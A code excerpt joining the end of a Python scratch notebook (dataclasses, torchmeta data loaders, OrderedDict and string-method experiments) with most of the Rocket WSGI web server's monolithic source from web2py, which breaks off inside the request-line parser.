start_time = time.time()
asyncio.get_event_loop().run_until_complete(download_all_sites(sites))
duration = time.time() - start_time
print(f"Downloaded {len(sites)} sites in {duration} seconds")
#%%
# https://realpython.com/python-data-classes/
from dataclasses import dataclass
@dataclass
class DataClassCard:
rank: str
suit: str
default_test: str = 'default'
card = DataClassCard('Q', 'Hearts')
print(card)
print(card == DataClassCard('Q', 'Hearts'))
#%%
from dataclasses import dataclass, field
def get_str():
return 'default'
def get_lst():
return [1, 2]
@dataclass
class DataClassCard:
rank: str
suit: str
# default_test: str = field(default_factory=get_str)
# default_test: str = [1, 2]
default_test: str = field(default_factory=get_lst)
card = DataClassCard('Q', 'Hearts')
print(card)
print(card.default_test)
#%%
import subprocess
def get_git_revision_hash():
return subprocess.check_output(['git', 'rev-parse', 'HEAD']).decode('ascii').strip()
def get_git_revision_short_hash():
return subprocess.check_output(['git', 'rev-parse', '--short', 'HEAD']).decode('ascii').strip()
print(get_git_revision_hash())
print(get_git_revision_short_hash())
# %%
import matplotlib.pyplot as plt
import seaborn as sns
sns.set_theme(style="darkgrid")
# Load an example dataset with long-form data
fmri = sns.load_dataset("fmri")
print(fmri)
# Plot the responses for different events and regions
sns.lineplot(x="timepoint", y="signal",
hue="region", style="event",
data=fmri)
# plt.show()
# https://stackoverflow.com/questions/56203420/how-to-use-custom-error-bar-in-seaborn-lineplot
#%%
from torchmeta.datasets.helpers import omniglot
# from meta_learning.datasets.mini_imagenet import MetaImageNet, ImageNet
from torchmeta.utils.data import BatchMetaDataLoader
dataset = omniglot("data", ways=5, shots=5, test_shots=15, meta_train=True, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
for batch in dataloader:
train_inputs, train_targets = batch["train"]
print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
test_inputs, test_targets = batch["test"]
print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
#%%
from torchmeta.datasets.helpers import miniimagenet
from torchmeta.utils.data import BatchMetaDataLoader
dataset = miniimagenet("data", ways=5, shots=5, test_shots=15, meta_train=True, download=True)
dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
print(f'{len(dataloader)}')
for batch in dataloader:
train_inputs, train_targets = batch["train"]
print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
test_inputs, test_targets = batch["test"]
print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
break
#%%
# A Python program to demonstrate working of OrderedDict
from collections import OrderedDict
print("This is a Dict:\n")
d = {}
d['a'] = 1
d['b'] = 2
d['c'] = 3
d['d'] = 4
for key, value in d.items():
print(key, value)
print("\nThis is an Ordered Dict:\n")
od = OrderedDict()
od['a'] = 1
od['b'] = 2
od['c'] = 3
od['d'] = 4
for key, value in od.items():
print(key, value)
od[0] # error
list(od)[0] # gets first key
#%%
od = OrderedDict()
od[(0, 0)] = 0
od[(0, 1)] = 1
od[(1, 0)] = 2
od[(1, 1)] = 3
print(od)
for key, value in od.items():
print(type(key))
print(key, value)
#%%
"""
forced named arguments: https://stackoverflow.com/questions/2965271/forced-naming-of-parameters-in-python/14298976#14298976
"""
def foo(pos, *, forcenamed = None):
print(pos, forcenamed)
foo(pos=10, forcenamed=20)
foo(10, forcenamed=20)
foo(10)
foo(10, 20) # error
def foo2(pos, *, forcenamed):
print(pos, forcenamed)
foo2(pos=10, forcenamed=20)
foo2(10, forcenamed=20)
# basically you always have to give the (named) value!
foo2(10)
#%%
print('0'.isnumeric())
print('1'.isnumeric())
print('123'.isnumeric())
print('-123'.isnumeric())
print('-1.23'.isnumeric())
print('0.0'.isnumeric())
print('-1'.isnumeric())
print()
print('0'.isdigit())
print('1'.isdigit())
print('123'.isdigit())
print('-123'.isdigit())
print('-1.23'.isdigit())
print('0.0'.isdigit())
print('-1'.isdigit())
def is_float(element: Any) -> bool:
try:
return float(element)
except ValueError:
return False |
rocket.py | # -*- coding: utf-8 -*-
# This file is part of the Rocket Web Server
# Copyright (c) 2011 Timothy Farrell
# Modified by Massimo Di Pierro
# Import System Modules
import sys
import errno
import socket
import logging
import platform
from gluon._compat import iteritems, to_bytes, to_unicode, StringIO
from gluon._compat import urllib_unquote, to_native, PY2
# Define Constants
VERSION = '1.2.6'
SERVER_NAME = socket.gethostname()
SERVER_SOFTWARE = 'Rocket %s' % VERSION
HTTP_SERVER_SOFTWARE = '%s Python/%s' % (
SERVER_SOFTWARE, sys.version.split(' ')[0])
BUF_SIZE = 16384
SOCKET_TIMEOUT = 10 # in secs
THREAD_STOP_CHECK_INTERVAL = 1 # in secs, How often should threads check for a server stop message?
if hasattr(sys, 'frozen'):
# py2installer
IS_JYTHON = False
else:
IS_JYTHON = platform.system() == 'Java' # Handle special cases for Jython
IGNORE_ERRORS_ON_CLOSE = set([errno.ECONNABORTED, errno.ECONNRESET])
DEFAULT_LISTEN_QUEUE_SIZE = 5
DEFAULT_MIN_THREADS = 10
DEFAULT_MAX_THREADS = 0
DEFAULTS = dict(LISTEN_QUEUE_SIZE=DEFAULT_LISTEN_QUEUE_SIZE,
MIN_THREADS=DEFAULT_MIN_THREADS,
MAX_THREADS=DEFAULT_MAX_THREADS)
PY3K = not PY2
class NullHandler(logging.Handler):
"""A Logging handler to prevent library errors."""
def emit(self, record):
pass
b = to_bytes
u = to_unicode
# Import Package Modules
# package imports removed in monolithic build
__all__ = ['VERSION', 'SERVER_SOFTWARE', 'HTTP_SERVER_SOFTWARE', 'BUF_SIZE',
'IS_JYTHON', 'IGNORE_ERRORS_ON_CLOSE', 'DEFAULTS', 'PY3K', 'b', 'u',
'Rocket', 'CherryPyWSGIServer', 'SERVER_NAME', 'NullHandler']
# Monolithic build...end of module: rocket/__init__.py
# Monolithic build...start of module: rocket/connection.py
# Import System Modules
import sys
import time
import socket
try:
import ssl
has_ssl = True
except ImportError:
has_ssl = False
# Import Package Modules
# package imports removed in monolithic build
# TODO - This part is still very experimental.
# from .filelike import FileLikeSocket
class Connection(object):
__slots__ = [
'setblocking',
'sendall',
'shutdown',
'makefile',
'fileno',
'client_addr',
'client_port',
'server_port',
'socket',
'start_time',
'ssl',
'secure',
'recv',
'send',
'read',
'write'
]
def __init__(self, sock_tuple, port, secure=False):
self.client_addr, self.client_port = sock_tuple[1][:2]
self.server_port = port
self.socket = sock_tuple[0]
self.start_time = time.time()
self.ssl = has_ssl and isinstance(self.socket, ssl.SSLSocket)
self.secure = secure
if IS_JYTHON:
# In Jython we must set TCP_NODELAY here since it does not
# inherit from the listening socket.
# See: http://bugs.jython.org/issue1309
self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
self.socket.settimeout(SOCKET_TIMEOUT)
self.shutdown = self.socket.shutdown
self.fileno = self.socket.fileno
self.setblocking = self.socket.setblocking
self.recv = self.socket.recv
self.send = self.socket.send
self.makefile = self.socket.makefile
if sys.platform == 'darwin':
self.sendall = self._sendall_darwin
else:
self.sendall = self.socket.sendall
def _sendall_darwin(self, buf):
pending = len(buf)
offset = 0
while pending:
try:
sent = self.socket.send(buf[offset:])
pending -= sent
offset += sent
except socket.error:
import errno
info = sys.exc_info()
if info[1].args[0] != errno.EAGAIN:
raise
return offset
# FIXME - this is not ready for prime-time yet.
# def makefile(self, buf_size=BUF_SIZE):
# return FileLikeSocket(self, buf_size)
def close(self):
if hasattr(self.socket, '_sock'):
try:
self.socket._sock.close()
except socket.error:
info = sys.exc_info()
if info[1].args[0] != socket.EBADF:
raise info[1]
else:
pass
self.socket.close()
# Monolithic build...end of module: rocket/connection.py
# Monolithic build...start of module: rocket/filelike.py
# Import System Modules
import socket
# Import Package Modules
# package imports removed in monolithic build
class FileLikeSocket(object):
def __init__(self, conn, buf_size=BUF_SIZE):
self.conn = conn
self.buf_size = buf_size
self.buffer = StringIO()
self.content_length = None
if self.conn.socket.gettimeout() == 0.0:
self.read = self.non_blocking_read
else:
self.read = self.blocking_read
def __iter__(self):
return self
def recv(self, size):
while True:
try:
return self.conn.recv(size)
except socket.error:
exc = sys.exc_info()
e = exc[1]
# FIXME - Don't raise socket_errors_nonblocking or socket_error_eintr
if (e.args[0] not in set()):
raise
def next(self):
data = self.readline()
if data == '':
raise StopIteration
return data
def non_blocking_read(self, size=None):
# Shamelessly adapted from Cherrypy!
bufr = self.buffer
bufr.seek(0, 2)
if size is None:
while True:
data = self.recv(self.buf_size)
if not data:
break
bufr.write(data)
self.buffer = StringIO()
return bufr.getvalue()
else:
buf_len = self.buffer.tell()
if buf_len >= size:
bufr.seek(0)
data = bufr.read(size)
self.buffer = StringIO(bufr.read())
return data
self.buffer = StringIO()
while True:
remaining = size - buf_len
data = self.recv(remaining)
if not data:
break
n = len(data)
if n == size and not buf_len:
return data
if n == remaining:
bufr.write(data)
del data
break
bufr.write(data)
buf_len += n
del data
return bufr.getvalue()
def blocking_read(self, length=None):
if length is None:
if self.content_length is not None:
length = self.content_length
else:
length = 1
try:
data = self.conn.recv(length)
except:
data = b('')
return data
def readline(self):
data = b("")
char = self.read(1)
while char != b('\n') and char is not b(''):
line = repr(char)
data += char
char = self.read(1)
data += char
return data
def readlines(self, hint="ignored"):
return list(self)
def close(self):
self.conn = None
self.content_length = None
# Monolithic build...end of module: rocket/filelike.py
# Monolithic build...start of module: rocket/futures.py
# Import System Modules
import time
try:
from concurrent.futures import Future, ThreadPoolExecutor
from concurrent.futures.thread import _WorkItem
has_futures = True
except ImportError:
has_futures = False
class Future(object):
pass
class ThreadPoolExecutor(object):
pass
class _WorkItem(object):
pass
class WSGIFuture(Future):
def __init__(self, f_dict, *args, **kwargs):
Future.__init__(self, *args, **kwargs)
self.timeout = None
self._mem_dict = f_dict
self._lifespan = 30
self._name = None
self._start_time = time.time()
def set_running_or_notify_cancel(self):
if time.time() - self._start_time >= self._lifespan:
self.cancel()
else:
return super(WSGIFuture, self).set_running_or_notify_cancel()
def remember(self, name, lifespan=None):
self._lifespan = lifespan or self._lifespan
if name in self._mem_dict:
raise NameError('Cannot remember future by name "%s". ' % name +
'A future already exists with that name.')
self._name = name
self._mem_dict[name] = self
return self
def forget(self):
if self._name in self._mem_dict and self._mem_dict[self._name] is self:
del self._mem_dict[self._name]
self._name = None
class _WorkItem(object):
def __init__(self, future, fn, args, kwargs):
self.future = future
self.fn = fn
self.args = args
self.kwargs = kwargs
def run(self):
if not self.future.set_running_or_notify_cancel():
return
try:
result = self.fn(*self.args, **self.kwargs)
except BaseException:
e = sys.exc_info()[1]
self.future.set_exception(e)
else:
self.future.set_result(result)
class WSGIExecutor(ThreadPoolExecutor):
multithread = True
multiprocess = False
def __init__(self, *args, **kwargs):
ThreadPoolExecutor.__init__(self, *args, **kwargs)
self.futures = dict()
def submit(self, fn, *args, **kwargs):
if self._shutdown_lock.acquire():
if self._shutdown:
self._shutdown_lock.release()
raise RuntimeError(
'Cannot schedule new futures after shutdown')
f = WSGIFuture(self.futures)
w = _WorkItem(f, fn, args, kwargs)
self._work_queue.put(w)
self._adjust_thread_count()
self._shutdown_lock.release()
return f
else:
return False
class FuturesMiddleware(object):
"""Futures middleware that adds a Futures Executor to the environment"""
def __init__(self, app, threads=5):
self.app = app
self.executor = WSGIExecutor(threads)
def __call__(self, environ, start_response):
environ["wsgiorg.executor"] = self.executor
environ["wsgiorg.futures"] = self.executor.futures
return self.app(environ, start_response)
# Monolithic build...end of module: rocket/futures.py
# Monolithic build...start of module: rocket/listener.py
# Import System Modules
import os
import socket
import logging
import traceback
from threading import Thread
try:
import ssl
from ssl import SSLError
has_ssl = True
except ImportError:
has_ssl = False
class SSLError(socket.error):
pass
# Import Package Modules
# package imports removed in monolithic build
class Listener(Thread):
"""The Listener class is a class responsible for accepting connections
and queuing them to be processed by a worker thread."""
def __init__(self, interface, queue_size, active_queue, *args, **kwargs):
Thread.__init__(self, *args, **kwargs)
# Instance variables
self.active_queue = active_queue
self.interface = interface
self.addr = interface[0]
self.port = interface[1]
self.secure = len(interface) >= 4
self.clientcert_req = (len(interface) == 5 and interface[4])
self.thread = None
self.ready = False
# Error Log
self.err_log = logging.getLogger('Rocket.Errors.Port%i' % self.port)
self.err_log.addHandler(NullHandler())
# Build the socket
if ':' in self.addr:
listener = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if not listener:
self.err_log.error("Failed to get socket.")
return
if self.secure:
if not has_ssl:
self.err_log.error("ssl module required to serve HTTPS.")
return
elif not os.path.exists(interface[2]):
data = (interface[2], interface[0], interface[1])
self.err_log.error("Cannot find key file "
"'%s'. Cannot bind to %s:%s" % data)
return
elif not os.path.exists(interface[3]):
data = (interface[3], interface[0], interface[1])
self.err_log.error("Cannot find certificate file "
"'%s'. Cannot bind to %s:%s" % data)
return
if self.clientcert_req and not os.path.exists(interface[4]):
data = (interface[4], interface[0], interface[1])
self.err_log.error("Cannot find root ca certificate file "
"'%s'. Cannot bind to %s:%s" % data)
return
# Set socket options
try:
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
except:
msg = "Cannot share socket. Using %s:%i exclusively."
self.err_log.warning(msg % (self.addr, self.port))
try:
if not IS_JYTHON:
listener.setsockopt(socket.IPPROTO_TCP,
socket.TCP_NODELAY,
1)
except:
msg = "Cannot set TCP_NODELAY, things might run a little slower"
self.err_log.warning(msg)
try:
listener.bind((self.addr, self.port))
except:
msg = "Socket %s:%i in use by other process and it won't share."
self.err_log.error(msg % (self.addr, self.port))
else:
# We want socket operations to timeout periodically so we can
# check if the server is shutting down
listener.settimeout(THREAD_STOP_CHECK_INTERVAL)
# Listen for new connections allowing queue_size number of
# connections to wait before rejecting a connection.
listener.listen(queue_size)
self.listener = listener
self.ready = True
def wrap_socket(self, sock):
try:
if self.clientcert_req:
ca_certs = self.interface[4]
cert_reqs = ssl.CERT_OPTIONAL
sock = ssl.wrap_socket(sock,
do_handshake_on_connect=False,
keyfile=self.interface[2],
certfile=self.interface[3],
server_side=True,
cert_reqs=cert_reqs,
ca_certs=ca_certs,
ssl_version=ssl.PROTOCOL_SSLv23)
else:
sock = ssl.wrap_socket(sock,
do_handshake_on_connect=False,
keyfile=self.interface[2],
certfile=self.interface[3],
server_side=True,
ssl_version=ssl.PROTOCOL_SSLv23)
except SSLError:
# Generally this happens when an HTTP request is received on a
# secure socket. We don't do anything because it will be detected
# by Worker and dealt with appropriately.
pass
return sock
def start(self):
if not self.ready:
self.err_log.warning('Listener started when not ready.')
return
if self.thread is not None and self.thread.is_alive():
self.err_log.warning('Listener already running.')
return
self.thread = Thread(target=self.listen, name="Port" + str(self.port))
self.thread.start()
def is_alive(self):
if self.thread is None:
return False
return self.thread.is_alive()
def join(self):
if self.thread is None:
return
self.ready = False
self.thread.join()
del self.thread
self.thread = None
self.ready = True
def listen(self):
if __debug__:
self.err_log.debug('Entering main loop.')
while True:
try:
sock, addr = self.listener.accept()
if self.secure:
sock = self.wrap_socket(sock)
self.active_queue.put(((sock, addr),
self.interface[1],
self.secure))
except socket.timeout:
# socket.timeout will be raised every
# THREAD_STOP_CHECK_INTERVAL seconds. When that happens,
# we check if it's time to die.
if not self.ready:
if __debug__:
self.err_log.debug('Listener exiting.')
return
else:
continue
except:
self.err_log.error(traceback.format_exc())
# Monolithic build...end of module: rocket/listener.py
# Monolithic build...start of module: rocket/main.py
# Import System Modules
import sys
import time
import socket
import logging
import traceback
from threading import Lock
if PY3K:
from queue import Queue
else:
from Queue import Queue
# Import Package Modules
# package imports removed in monolithic build
# Setup Logging
log = logging.getLogger('Rocket')
log.addHandler(NullHandler())
class Rocket(object):
"""The Rocket class is responsible for handling threads and accepting and
dispatching connections."""
def __init__(self,
interfaces=('127.0.0.1', 8000),
method='wsgi',
app_info=None,
min_threads=None,
max_threads=None,
queue_size=None,
timeout=600,
handle_signals=True):
self.handle_signals = handle_signals
self.startstop_lock = Lock()
self.timeout = timeout
if not isinstance(interfaces, list):
self.interfaces = [interfaces]
else:
self.interfaces = interfaces
if min_threads is None:
min_threads = DEFAULTS['MIN_THREADS']
if max_threads is None:
max_threads = DEFAULTS['MAX_THREADS']
if not queue_size:
if hasattr(socket, 'SOMAXCONN'):
queue_size = socket.SOMAXCONN
else:
queue_size = DEFAULTS['LISTEN_QUEUE_SIZE']
if max_threads and queue_size > max_threads:
queue_size = max_threads
if isinstance(app_info, dict):
app_info['server_software'] = SERVER_SOFTWARE
self.monitor_queue = Queue()
self.active_queue = Queue()
self._threadpool = ThreadPool(get_method(method),
app_info=app_info,
active_queue=self.active_queue,
monitor_queue=self.monitor_queue,
min_threads=min_threads,
max_threads=max_threads)
# Build our socket listeners
self.listeners = [Listener(
i, queue_size, self.active_queue) for i in self.interfaces]
for ndx in range(len(self.listeners) - 1, 0, -1):
if not self.listeners[ndx].ready:
del self.listeners[ndx]
if not self.listeners:
log.critical("No interfaces to listen on...closing.")
sys.exit(1)
def _sigterm(self, signum, frame):
log.info('Received SIGTERM')
self.stop()
def _sighup(self, signum, frame):
log.info('Received SIGHUP')
self.restart()
def start(self, background=False):
log.info('Starting %s' % SERVER_SOFTWARE)
self.startstop_lock.acquire()
try:
# Set up our shutdown signals
if self.handle_signals:
try:
import signal
signal.signal(signal.SIGTERM, self._sigterm)
signal.signal(signal.SIGUSR1, self._sighup)
except:
log.debug('This platform does not support signals.')
# Start our worker threads
self._threadpool.start()
# Start our monitor thread
self._monitor = Monitor(self.monitor_queue,
self.active_queue,
self.timeout,
self._threadpool)
self._monitor.setDaemon(True)
self._monitor.start()
# I know that EXPR and A or B is bad but I'm keeping it for Py2.4
# compatibility.
str_extract = lambda l: (l.addr, l.port, l.secure and '*' or '')
msg = 'Listening on sockets: '
msg += ', '.join(
['%s:%i%s' % str_extract(l) for l in self.listeners])
log.info(msg)
for l in self.listeners:
l.start()
finally:
self.startstop_lock.release()
if background:
return
while self._monitor.is_alive():
try:
time.sleep(THREAD_STOP_CHECK_INTERVAL)
except KeyboardInterrupt:
# Capture a keyboard interrupt when running from a console
break
except:
if self._monitor.is_alive():
log.error(traceback.format_exc())
continue
return self.stop()
def stop(self, stoplogging=False):
log.info('Stopping %s' % SERVER_SOFTWARE)
self.startstop_lock.acquire()
try:
# Stop listeners
for l in self.listeners:
l.ready = False
# Encourage a context switch
time.sleep(0.01)
for l in self.listeners:
if l.is_alive():
l.join()
# Stop Monitor
self._monitor.stop()
if self._monitor.is_alive():
self._monitor.join()
# Stop Worker threads
self._threadpool.stop()
if stoplogging:
logging.shutdown()
msg = "Calling logging.shutdown() is now the responsibility of \
the application developer. Please update your \
applications to no longer call rocket.stop(True)"
try:
raise DeprecationWarning(msg)
except ImportError:
raise RuntimeError(msg)
finally:
self.startstop_lock.release()
def restart(self):
self.stop()
self.start()
def CherryPyWSGIServer(bind_addr,
wsgi_app,
numthreads=10,
server_name=None,
max=-1,
request_queue_size=5,
timeout=10,
shutdown_timeout=5):
""" A Cherrypy wsgiserver-compatible wrapper. """
max_threads = max
if max_threads < 0:
max_threads = 0
return Rocket(bind_addr, 'wsgi', {'wsgi_app': wsgi_app},
min_threads=numthreads,
max_threads=max_threads,
queue_size=request_queue_size,
timeout=timeout)
# Monolithic build...end of module: rocket/main.py
# Monolithic build...start of module: rocket/monitor.py
# Import System Modules
import time
import logging
import select
from threading import Thread
# Import Package Modules
# package imports removed in monolithic build
class Monitor(Thread):
# Monitor worker class.
def __init__(self,
monitor_queue,
active_queue,
timeout,
threadpool,
*args,
**kwargs):
Thread.__init__(self, *args, **kwargs)
self._threadpool = threadpool
# Instance Variables
self.monitor_queue = monitor_queue
self.active_queue = active_queue
self.timeout = timeout
self.log = logging.getLogger('Rocket.Monitor')
self.log.addHandler(NullHandler())
self.connections = set()
self.active = False
def run(self):
self.active = True
conn_list = list()
list_changed = False
# We need to make sure the queue is empty before we start
while not self.monitor_queue.empty():
self.monitor_queue.get()
if __debug__:
self.log.debug('Entering monitor loop.')
# Enter thread main loop
while self.active:
# Move the queued connections to the selection pool
while not self.monitor_queue.empty():
if __debug__:
self.log.debug('In "receive timed-out connections" loop.')
c = self.monitor_queue.get()
if c is None:
# A non-client is a signal to die
if __debug__:
self.log.debug('Received a death threat.')
self.stop()
break
self.log.debug('Received a timed out connection.')
if __debug__:
assert(c not in self.connections)
if IS_JYTHON:
# Jython requires a socket to be in Non-blocking mode in
# order to select on it.
c.setblocking(False)
if __debug__:
self.log.debug('Adding connection to monitor list.')
self.connections.add(c)
list_changed = True
# Wait on those connections
if list_changed:
conn_list = list(self.connections)
list_changed = False
try:
if len(conn_list):
readable = select.select(conn_list,
[],
[],
THREAD_STOP_CHECK_INTERVAL)[0]
else:
time.sleep(THREAD_STOP_CHECK_INTERVAL)
readable = []
if not self.active:
break
# If we have any readable connections, put them back
for r in readable:
if __debug__:
self.log.debug('Restoring readable connection')
if IS_JYTHON:
# Jython requires a socket to be in Non-blocking mode in
# order to select on it, but the rest of the code requires
# that it be in blocking mode.
r.setblocking(True)
r.start_time = time.time()
self.active_queue.put(r)
self.connections.remove(r)
list_changed = True
except:
if self.active:
raise
else:
break
# If we have any stale connections, kill them off.
if self.timeout:
now = time.time()
stale = set()
for c in self.connections:
if (now - c.start_time) >= self.timeout:
stale.add(c)
for c in stale:
if __debug__:
# "EXPR and A or B" kept for Py2.4 compatibility
data = (
c.client_addr, c.server_port, c.ssl and '*' or '')
self.log.debug(
'Flushing stale connection: %s:%i%s' % data)
self.connections.remove(c)
list_changed = True
try:
c.close()
finally:
del c
# Dynamically resize the threadpool to adapt to our changing needs.
self._threadpool.dynamic_resize()
def stop(self):
self.active = False
if __debug__:
self.log.debug('Flushing waiting connections')
while self.connections:
c = self.connections.pop()
try:
c.close()
finally:
del c
if __debug__:
self.log.debug('Flushing queued connections')
while not self.monitor_queue.empty():
c = self.monitor_queue.get()
if c is None:
continue
try:
c.close()
finally:
del c
# Place a None sentry value to cause the monitor to die.
self.monitor_queue.put(None)
# Monolithic build...end of module: rocket/monitor.py
# Monolithic build...start of module: rocket/threadpool.py
# Import System Modules
import logging
# Import Package Modules
# package imports removed in monolithic build
# Setup Logging
log = logging.getLogger('Rocket.Errors.ThreadPool')
log.addHandler(NullHandler())
class ThreadPool:
"""The ThreadPool class is a container class for all the worker threads. It
manages the number of actively running threads."""
def __init__(self,
method,
app_info,
active_queue,
monitor_queue,
min_threads=DEFAULTS['MIN_THREADS'],
max_threads=DEFAULTS['MAX_THREADS'],
):
if __debug__:
log.debug("Initializing ThreadPool.")
self.check_for_dead_threads = 0
self.active_queue = active_queue
self.worker_class = method
self.min_threads = min_threads
self.max_threads = max_threads
self.monitor_queue = monitor_queue
self.stop_server = False
self.alive = False
# TODO - Optimize this based on some real-world usage data
self.grow_threshold = int(max_threads / 10) + 2
if not isinstance(app_info, dict):
app_info = dict()
if has_futures and app_info.get('futures'):
app_info['executor'] = WSGIExecutor(max([DEFAULTS['MIN_THREADS'],
2]))
app_info.update(max_threads=max_threads,
min_threads=min_threads)
self.min_threads = min_threads
self.app_info = app_info
self.threads = set()
def start(self):
self.stop_server = False
if __debug__:
log.debug("Starting threads.")
self.grow(self.min_threads)
self.alive = True
def stop(self):
self.alive = False
if __debug__:
log.debug("Stopping threads.")
self.stop_server = True
# Prompt the threads to die
self.shrink(len(self.threads))
# Stop futures initially
if has_futures and self.app_info.get('futures'):
if __debug__:
log.debug("Future executor is present. Python will not "
"exit until all jobs have finished.")
self.app_info['executor'].shutdown(wait=False)
# Give them the gun
# active_threads = [t for t in self.threads if t.is_alive()]
# while active_threads:
# t = active_threads.pop()
# t.kill()
# Wait until they pull the trigger
for t in self.threads:
if t.is_alive():
t.join()
# Clean up the mess
self.bring_out_your_dead()
def bring_out_your_dead(self):
# Remove dead threads from the pool
dead_threads = [t for t in self.threads if not t.is_alive()]
for t in dead_threads:
if __debug__:
log.debug("Removing dead thread: %s." % t.getName())
try:
# Py2.4 complains here so we put it in a try block
self.threads.remove(t)
except:
pass
self.check_for_dead_threads -= len(dead_threads)
def grow(self, amount=None):
if self.stop_server:
return
if not amount:
amount = self.max_threads
if self.alive:
amount = min([amount, self.max_threads - len(self.threads)])
if __debug__:
log.debug("Growing by %i." % amount)
for x in range(amount):
worker = self.worker_class(self.app_info,
self.active_queue,
self.monitor_queue)
worker.setDaemon(True)
self.threads.add(worker)
worker.start()
def shrink(self, amount=1):
if __debug__:
log.debug("Shrinking by %i." % amount)
self.check_for_dead_threads += amount
for x in range(amount):
self.active_queue.put(None)
def dynamic_resize(self):
if (self.max_threads > self.min_threads or self.max_threads == 0):
if self.check_for_dead_threads > 0:
self.bring_out_your_dead()
queueSize = self.active_queue.qsize()
threadCount = len(self.threads)
if __debug__:
log.debug("Examining ThreadPool. %i threads and %i Q'd conxions"
% (threadCount, queueSize))
if queueSize == 0 and threadCount > self.min_threads:
self.shrink()
elif queueSize > self.grow_threshold:
self.grow(queueSize)
# Monolithic build...end of module: rocket/threadpool.py
# Monolithic build...start of module: rocket/worker.py
# Import System Modules
import re
import sys
import socket
import logging
import traceback
from wsgiref.headers import Headers
from threading import Thread
from datetime import datetime
try:
from ssl import SSLError
except ImportError:
class SSLError(socket.error):
pass
# Import Package Modules
# package imports removed in monolithic build
# Define Constants
re_SLASH = re.compile('%2F', re.IGNORECASE)
re_REQUEST_LINE = re.compile(r"""^
(?P<method>OPTIONS|GET|HEAD|POST|PUT|DELETE|PATCH|TRACE|CONNECT) # Req Method
\ # single space
(
(?P<scheme>[^:/]+) # Scheme
(://) #
(?P<host>[^/]+) # Host
)? #
(?P<path>(\*|/[^ \?]*)) # Path
(\? (?P<query_string>[^ ]*))? # Query String
\ # single space
(?P<protocol>HTTPS?/1\.[01]) # Protocol
$
""", re.X)
LOG_LINE = '%(client_ip)s - "%(request_line)s" - %(status)s %(size)s'
RESPONSE = '''\
%s %s
Content-Length: %i
Content-Type: %s
%s
'''
if IS_JYTHON:
HTTP_METHODS = set(['OPTIONS', 'GET', 'HEAD', 'POST', 'PUT',
'DELETE', 'TRACE', 'CONNECT'])
class Worker(Thread):
"""The Worker class is a base class responsible for receiving connections
and (a subclass) will run an application to process the the connection """
def __init__(self,
app_info,
active_queue,
monitor_queue,
*args,
**kwargs):
Thread.__init__(self, *args, **kwargs)
# Instance Variables
self.app_info = app_info
self.active_queue = active_queue
self.monitor_queue = monitor_queue
self.size = 0
self.status = "200 OK"
self.closeConnection = True
self.request_line = ""
self.protocol = 'HTTP/1.1'
# Request Log
self.req_log = logging.getLogger('Rocket.Requests')
self.req_log.addHandler(NullHandler())
# Error Log
self.err_log = logging.getLogger('Rocket.Errors.' + self.getName())
self.err_log.addHandler(NullHandler())
def _handleError(self, typ, val, tb):
if typ == SSLError:
if 'timed out' in str(val.args[0]):
typ = SocketTimeout
if typ == SocketTimeout:
if __debug__:
self.err_log.debug('Socket timed out')
self.monitor_queue.put(self.conn)
return True
if typ == SocketClosed:
self.closeConnection = True
if __debug__:
self.err_log.debug('Client closed socket')
return False
if typ == BadRequest:
self.closeConnection = True
if __debug__:
self.err_log.debug('Client sent a bad request')
return True
if typ == socket.error:
self.closeConnection = True
if val.args[0] in IGNORE_ERRORS_ON_CLOSE:
if __debug__:
self.err_log.debug('Ignorable socket Error received...'
'closing connection.')
return False
else:
self.status = "999 Utter Server Failure"
tb_fmt = traceback.format_exception(typ, val, tb)
self.err_log.error('Unhandled Error when serving '
'connection:\n' + '\n'.join(tb_fmt))
return False
self.closeConnection = True
tb_fmt = traceback.format_exception(typ, val, tb)
self.err_log.error('\n'.join(tb_fmt))
self.send_response('500 Server Error')
return False
def run(self):
if __debug__:
self.err_log.debug('Entering main loop.')
# Enter thread main loop
while True:
conn = self.active_queue.get()
if not conn:
# A non-client is a signal to die
if __debug__:
self.err_log.debug('Received a death threat.')
return conn
if isinstance(conn, tuple):
conn = Connection(*conn)
self.conn = conn
if conn.ssl != conn.secure:
self.err_log.info('Received HTTP connection on HTTPS port.')
self.send_response('400 Bad Request')
self.closeConnection = True
conn.close()
continue
else:
if __debug__:
self.err_log.debug('Received a connection.')
self.closeConnection = False
# Enter connection serve loop
while True:
if __debug__:
self.err_log.debug('Serving a request')
try:
self.run_app(conn)
except:
exc = sys.exc_info()
handled = self._handleError(*exc)
if handled:
break
finally:
if self.request_line:
log_info = dict(client_ip=conn.client_addr,
time=datetime.now().strftime('%c'),
status=self.status.split(' ')[0],
size=self.size,
request_line=self.request_line)
self.req_log.info(LOG_LINE % log_info)
if self.closeConnection:
try:
conn.close()
except:
self.err_log.error(str(traceback.format_exc()))
break
def run_app(self, conn):
# Must be overridden with a method reads the request from the socket
# and sends a response.
self.closeConnection = True
raise NotImplementedError('Overload this method!')
def send_response(self, status):
stat_msg = status.split(' ', 1)[1]
msg = RESPONSE % (self.protocol,
status,
len(stat_msg),
'text/plain',
stat_msg)
try:
self.conn.sendall(b(msg))
except socket.timeout:
self.closeConnection = True
msg = 'Tried to send "%s" to client but received timeout error'
self.err_log.error(msg % status)
except socket.error:
self.closeConnection = True
msg = 'Tried to send "%s" to client but received socket error'
self.err_log.error(msg % status)
def read_request_line(self, sock_file):
self.request_line = ''
try:
# Grab the request line
d = sock_file.readline()
if PY3K:
d = d.decode('ISO-8859-1')
if d == '\r\n':
# Allow an extra NEWLINE at the beginning per HTTP 1.1 spec
if __debug__:
self.err_log.debug('Client sent newline')
d = sock_file.readline()
if PY3K:
d = d.decode('ISO-8859-1')
except socket.timeout:
